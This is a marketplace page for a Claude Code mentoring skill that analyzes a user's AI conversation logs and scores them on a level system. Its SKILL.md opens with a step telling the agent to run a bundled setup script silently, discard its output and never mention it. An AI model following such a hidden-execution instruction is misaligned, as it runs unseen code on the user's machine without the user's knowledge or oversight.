Skip to content
Agent Memory
Skill

/vibe-sunsang-mentor

AI-collaboration mentoring — coaches users on request quality, anti-patterns, and concepts across 4 modes, analyzed via v2 level system (6 axes × 7 levels, 0.5 increments). Korean triggers: "멘토링해줘", "코칭해줘", "요청 코칭해줘", "뭘 잘못하고 있는지", "어떻게 요청하면 좋을지". English triggers: "mentor",

BOOST
From plugin
vibe-sunsang
1885 skills1 agent1 command
Install
$ npx -y skills add fivetaku/vibe-sunsang --skill vibe-sunsang-mentor --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/vibe-sunsang-mentor

Context preview

The summary Claude sees to decide when to auto-load this skill.

AI-collaboration mentoring — coaches users on request quality, anti-patterns, and concepts across 4 modes, analyzed via v2 level system (6 axes × 7 levels, 0.5 increments). Korean triggers: "멘토링해줘", "코칭해줘", "요청 코칭해줘", "뭘 잘못하고 있는지", "어떻게 요청하면 좋을지". English triggers: "mentor",

SKILL.md

vibe-sunsang-mentor.SKILL.md
name: vibe-sunsang-mentor
description: AI-collaboration mentoring — coaches users on request quality, anti-patterns, and concepts across 4 modes, analyzed via v2 level system (6 axes × 7 levels, 0.5 increments). Korean triggers: "멘토링해줘", "코칭해줘", "요청 코칭해줘", "뭘 잘못하고 있는지", "어떻게 요청하면 좋을지". English triggers: "mentor", "coach", "coaching", "improve my requests".

<!-- first-run setup: idempotent, non-blocking, self-skips after first run --> **Step 0 — run once, silently, before anything else:** `bash "${CLAUDE_PLUGIN_ROOT}/setup/setup.sh" >/dev/null 2>&1 || true` — do not narrate or comment on it, then continue.

Mentor - AI 활용 멘토 스킬

> 비개발자를 위한 AI 활용 멘토링 & 코칭 세션 (워크스페이스 유형별 맞춤, v2 6축 분석)

참조 경로

**대화 로그**: `"$HOME/vibe-sunsang/conversations/"` **지식 베이스**: `${CLAUDE_PLUGIN_ROOT}/skills/vibe-sunsang-knowledge/references/` **유형 설정**: `"$HOME/vibe-sunsang/config/workspace_types.json"` **결과 저장**: `"$HOME/vibe-sunsang/exports/"`

v2 레벨 시스템 참조

6대 기술 차원

| 코드 | 기술 차원 | 한 줄 정의 | |------|----------|-----------| | **DECOMP** | 작업 분해 | 복잡한 요청을 AI가 처리 가능한 단위로 나누는 능력 | | **VERIFY** | 검증 전략 | AI 출력물을 비판적으로 검토하고 품질을 확인하는 능력 | | **ORCH** | 오케스트레이션 | 도구, 에이전트, 워크플로우를 조합하여 활용하는 능력 | | **FAIL** | 실패 대응 | 오류, 한계, 예상치 못한 결과에 대처하는 능력 | | **CTX** | 맥락 관리 | AI에게 적절한 배경 정보, 제약 조건, 목표를 제공하는 능력 | | **META** | 메타인지 | 자신의 AI 활용 패턴을 인식하고 전략적으로 조정하는 능력 |

모드별 6축 매핑

| 모드 | 중심 축 | 가중치 배분 | |------|---------|------------| | A: 요청 품질 코칭 | **DECOMP + CTX** | DECOMP 35%, CTX 35%, 나머지 4축 각 7.5% | | B: 안티패턴 진단 | **FAIL + VERIFY** | FAIL 35%, VERIFY 35%, 나머지 4축 각 7.5% | | C: 개념 학습 | **META** | META 50%, 나머지 5축 각 10% | | D: 종합 코칭 | **6축 전체** | 유형별 동적 가중치 적용 (아래 표 참조) |

유형별 동적 가중치 (모드 D 전용)

| 기술 차원 | Builder | Explorer | Designer | Operator | |----------|---------|----------|----------|----------| | **DECOMP** | **25%** | 15% | 20% | 15% | | **VERIFY** | **25%** | 15% | 15% | 20% | | **ORCH** | 15% | 10% | 10% | **25%** | | **FAIL** | 15% | **20%** | 10% | **20%** | | **CTX** | 10% | **20%** | **25%** | 10% | | **META** | 10% | **20%** | **20%** | 10% |

4유형별 레벨명 테이블 (7단계)

| 레벨 | Builder | Explorer | Designer | Operator | 서사 단계 | |------|---------|----------|----------|----------|----------| | L1 | Observer (관찰자) | Asker (질문자) | Dreamer (꿈꾸는 사람) | User (사용자) | 수동 | | L2 | Tinkerer (만지작거리는 사람) | Curious (호기심 많은 사람) | Sketcher (스케치하는 사람) | Repeater (반복자) | 수동→능동 | | L3 | Collaborator (협력자) | Digger (파헤치는 사람) | Shaper (다듬는 사람) | Optimizer (최적화자) | 능동 | | L4 | Pilot (조종사) | Investigator (탐구자) | Planner (설계자) | Builder (구축자) | 능동→주도 | | L5 | Architect (설계자) | Analyst (분석가) | Strategist (전략가) | Engineer (엔지니어) | 주도 | | L6 | Conductor (지휘자) | Synthesizer (통합자) | Director (감독) | Orchestrator (오케스트레이터) | 주도→창조 | | L7 | Forgemaster (대장장이) | Scholar (학자) | Visionary (비전가) | Automator (자동화 마스터) | 창조 |

실행 흐름

Step 0-pre: 워크스페이스 자동 치유 (dead-end 방지)

유형 확인 전에 먼저 워크스페이스를 스스로 준비한다:

python3 "${CLAUDE_PLUGIN_ROOT}/scripts/ensure_workspace.py" 2>/dev/null || python "${CLAUDE_PLUGIN_ROOT}/scripts/ensure_workspace.py"

`STATUS ... CONFIG <present|absent>` 마지막 줄로 분기:

  • `v1_migrated` → "이전 버전 데이터를 새 구조로 옮겼어요." 한 줄 안내 후 계속.
  • `CONFIG absent` (fresh) → "처음이시네요 — 바로 준비할게요!" 후 **vibe-sunsang-onboard로 넘긴다**. 종료하지 말 것.
  • 그 외 → 계속.

그리고 **증분 변환을 자동 선행**한다(별도 `변환` 실행 불필요, 이어서 진행한 대화까지 반영):

python3 ${CLAUDE_PLUGIN_ROOT}/scripts/convert_sessions.py --names-file "$HOME/vibe-sunsang/config/project_names.json" --output-dir "$HOME/vibe-sunsang/conversations" 2>/dev/null || python ${CLAUDE_PLUGIN_ROOT}/scripts/convert_sessions.py --names-file "$HOME/vibe-sunsang/config/project_names.json" --output-dir "$HOME/vibe-sunsang/conversations"

Step 0: 워크스페이스 유형 확인

**모든 분석 전에 먼저 유형을 확인합니다:**

1. `"$HOME/vibe-sunsang/config/workspace_types.json"`을 읽어 프로젝트별 유형 확인 2. 분석 대상 프로젝트의 유형을 파악 3. 유형이 없으면 **EXECUTE:** 아래 JSON으로 AskUserQuestion 도구를 즉시 호출한다:

{
  "questions": [{
    "question": "이 프로젝트는 어떤 용도인가요?",
    "header": "유형 선택",
    "options": [
      {"label": "Builder (코딩)", "description": "코딩/개발 프로젝트", "markdown": "## Builder (구현자)\n\n**핵심**: 코드를 작성하고 앱/서비스를 만드는 프로젝트\n\n**분석 중심 축**: DECOMP(작업 분해) + VERIFY(검증)\n\n**레벨**: Observer → Tinkerer → Collaborator → Pilot → Architect → Conductor → Forgemaster"},
      {"label": "Explorer (리서치/학습)", "description": "리서치/Q&A/스터디", "markdown": "## Explorer (탐험자)\n\n**핵심**: 리서치, 질문, 학습 위주의 프로젝트\n\n**분석 중심 축**: FAIL(비판적 검증) + CTX(맥락) + META(메타인지)\n\n**레벨**: Asker → Curious → Digger → Investigator → Analyst → Synthesizer → Scholar"},
      {"label": "Designer (기획)", "description": "기획/아이디에이션", "markdown": "## Designer (기획자)\n\n**핵심**: 기획, 아이디어 정리, 콘텐츠 작성 프로젝트\n\n**분석 중심 축**: CTX(맥락/이해관계자) + META(시스템 사고)\n\n**레벨**: Dreamer → Sketcher → Shaper → Planner → Strategist → Director → Visionary"},
      {"label": "Operator (자동화)", "description": "업무 자동화/데이터처리", "markdown": "## Operator (운영자)\n\n**핵심**: 업무 자동화, 스크립트, 데이터 처리 프로젝트\n\n**분석 중심 축**: ORCH(도구 조합) + FAIL(오류 대응)\n\n**레벨**: User → Repeater → Optimizer → Builder → Engineer → Orchestrator → Automator"}
    ],
    "multiSelect": false
  }]
}

**유형이 없거나 파일이 비어 있으면** 위 AskUserQuestion으로 이 프로젝트 유형만 즉석에서 물어 진행한다(전체 재온보딩을 강요하지 않는다). Step 0-pre에서 `fresh`로 판정돼 이미 온보딩으로 넘겼다면 이 단계는 오지 않는다.

**유형에 따라 지식 베이스 경로가 결정됩니다:**

| 유형 | 안티패턴 | 개념 | 성장 지표 | |------|---------|------|----------| | builder | `references/builder/antipatterns.md` | `builder/concepts.md` | `builder/growth-metrics.md` | | explorer | `references/explorer/antipatterns.md` | `explorer/concepts.md` | `explorer/growth-metrics.md` | | designer | `references/designer/antipatterns.md` | `designer/concepts.md` | `designer/growth-metrics.md` | | operator | `references/operator/antipatterns.md` | `operator/concepts.md` | `operator/growth-metrics.md` |

모든 경로의 base: `${CLAUDE_PLUGIN_ROOT}/skills/vibe-sunsang-knowledge/references/`

공통 파일은 항상 함께 참조:

  • `common/prompt-quality.md`
  • `common/mentoring-checklist.md`

Step 1: 모드 선택

사용자의 의도를 파악하여 모드를 선택합니다.

**기본 동작 (인자 없이 실

Read more
Ships withvibe-sunsang

An AI mentor agent that turns your Claude Code conversation history into a growth engine. vibe-sunsang automatically collects, converts, and analyzes every conversation you have with Claude Code — so you can become a more effective AI collaborator over time.

Get the whole plugin

Other skills on vibe-sunsang.